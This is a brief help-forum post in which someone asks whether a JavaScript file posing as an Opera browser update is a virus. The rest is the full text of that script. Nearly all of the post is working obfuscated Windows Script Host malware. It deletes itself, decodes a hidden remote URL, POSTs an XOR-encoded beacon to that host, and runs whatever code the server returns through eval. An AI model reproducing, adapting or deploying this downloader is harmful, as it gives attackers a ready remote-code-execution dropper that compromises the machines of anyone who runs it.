January 16, 2021

Hello, was wondering if this opera update is a virus I accidently downloaded? It’s a JavaScript

try{var c=3;}catch(e){};

try {

var ehbpivyj = new ActiveXObject(‘Scripting.FileSystemObject’);

ehbpivyj[‘DeleteFile’](this[‘WScript’][‘ScriptFullName’], true);

}

catch (e) {}

​

var cejelssaxe = mispex();

var voup = cejelssaxe + 10000;

while (cejelssaxe < voup) {

cejelssaxe = mispex();

this[‘WScript’][‘Sleep’](1000);

}

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function mispex() {

return new Date()[‘getTime’]();

}

&#x200B;

var ubdirig = pima(‘lfaipgt.t1nxc1j/amzotcp.asabzepwxdteunyitflejrv.rtgncedmuytacpm.gcg7kfi0bbq5vaicc/u/h:gpftgtqhf’);

var tid = pima(‘g0h0b5r’);

var wbz = pima(‘tcw9j5a2afy5ydl3y’);

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var qanni = [];

qanni[‘push’](‘a’);

qanni[‘push’](tid);

&#x200B;

&#x200B;

sendRequest(qanni);

&#x200B;

function sendRequest(qanni, yrtefbxepzo) {

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if(typeof yrtefbxepzo === ‘undefined’) { yrtefbxepzo = false; }

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var dzyjkeyp = ”, kucnpu = ”, stawerjqa;

&#x200B;

for (var icrpi = 0; icrpi < qanni[‘length’]; icrpi++) {

dzyjkeyp += icrpi + ‘=’ + encodeURIComponent(”+qanni[icrpi]) + ‘&’;

}

dzyjkeyp = wujvloogrze(dzyjkeyp);

&#x200B;

try {

var iwhejir;

iwhejir = new ActiveXObject(‘MSXML2.XMLHTTP’);

iwhejir[‘open’](‘POST’, ubdirig, false);

iwhejir[‘send’](dzyjkeyp);

if (iwhejir[‘status’] == 200) {

kucnpu = iwhejir[‘responseText’];

if(kucnpu) {

stawerjqa = odul(kucnpu);

if(yrtefbxepzo) {

return stawerjqa;

}

else {

this[‘eval’](stawerjqa);

}

}

}

} catch (e) {}

&#x200B;

return false;

}

&#x200B;

&#x200B;

&#x200B;

&#x200B;

function ozpymyn(icrpi) {

var rafsa5 = ’00’+icrpi[‘toString’](16);

rafsa5 = rafsa5[‘substr’](rafsa5[‘length’]-2);

return rafsa5;

}

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function odul(pfyidas) {

var sykrofu, lnixkulugro, icrpi, kucnpu = ”;

&#x200B;

lnixkulugro = parseInt(pfyidas[‘substr’](0, 2), 16);

sykrofu = pfyidas[‘substr’](2);

for (icrpi = 0; icrpi < sykrofu[‘length’]; icrpi+=2) {

kucnpu += String[‘fromCharCode’](vawyvtakqi(parseInt(sykrofu[‘substr’](icrpi, 2), 16), lnixkulugro));

}

return kucnpu;

}

&#x200B;

&#x200B;

function wujvloogrze(pfyidas) {

var lnixkulugro = 196, icrpi, kucnpu = ”;

for (icrpi = 0; icrpi < pfyidas[‘length’]; icrpi++) {

kucnpu += ozpymyn(pfyidas[‘charCodeAt’](icrpi) ^ lnixkulugro);

}

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return (ozpymyn(lnixkulugro)+kucnpu);

}

&#x200B;

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&#x200B;

function vawyvtakqi(wcehegalul, taqxihozy) {

var gywsoiz = ”, ongizedkom, zuqytynu, icrpi;

wcehegalul = bujbi(wcehegalul);

taqxihozy = bujbi(taqxihozy);

for(icrpi = 0; icrpi<wcehegalul[‘length’]; icrpi++) {

ongizedkom = wcehegalul[‘substr’](icrpi,1);

zuqytynu = taqxihozy[‘substr’](icrpi,1);

if(ongizedkom==’0′){

if(zuqytynu==’0′){

gywsoiz+=’0′;

}

else {

gywsoiz+=’1′;

}

}

else {

if(zuqytynu==’0′){

gywsoiz+=’1′;

}

else {

gywsoiz+=’0′;

}

}

}

return parseInt(gywsoiz, 2);

}

&#x200B;

&#x200B;

function bujbi(wcehegalul) {

wcehegalul = (+wcehegalul)[‘toString’](2);

var hvuhutbiid = ‘00000000’ + wcehegalul;

hvuhutbiid = hvuhutbiid[‘substr’](hvuhutbiid[‘length’] – 8);

return hvuhutbiid;

}

&#x200B;

function pima(kwijynnucen) {

kwijynnucen = kwijynnucen.split(”);

var enpfyok = ”;

for(var huppuramfo=0; huppuramfo<kwijynnucen[‘length’]; huppuramfo++) {

if(huppuramfo%2===1) enpfyok += kwijynnucen[huppuramfo];

}

enpfyok = azjeb(enpfyok);

return enpfyok;

}

&#x200B;

function azjeb(xcaxix) {

xcaxix = xcaxix.split(”);

var lofcejujlfa = ”;

for (var cerdazgat1 = xcaxix[‘length’] – 1; cerdazgat1 >= 0; cerdazgat1–) {

lofcejujlfa += xcaxix[cerdazgat1];

}

return lofcejujlfa;

}

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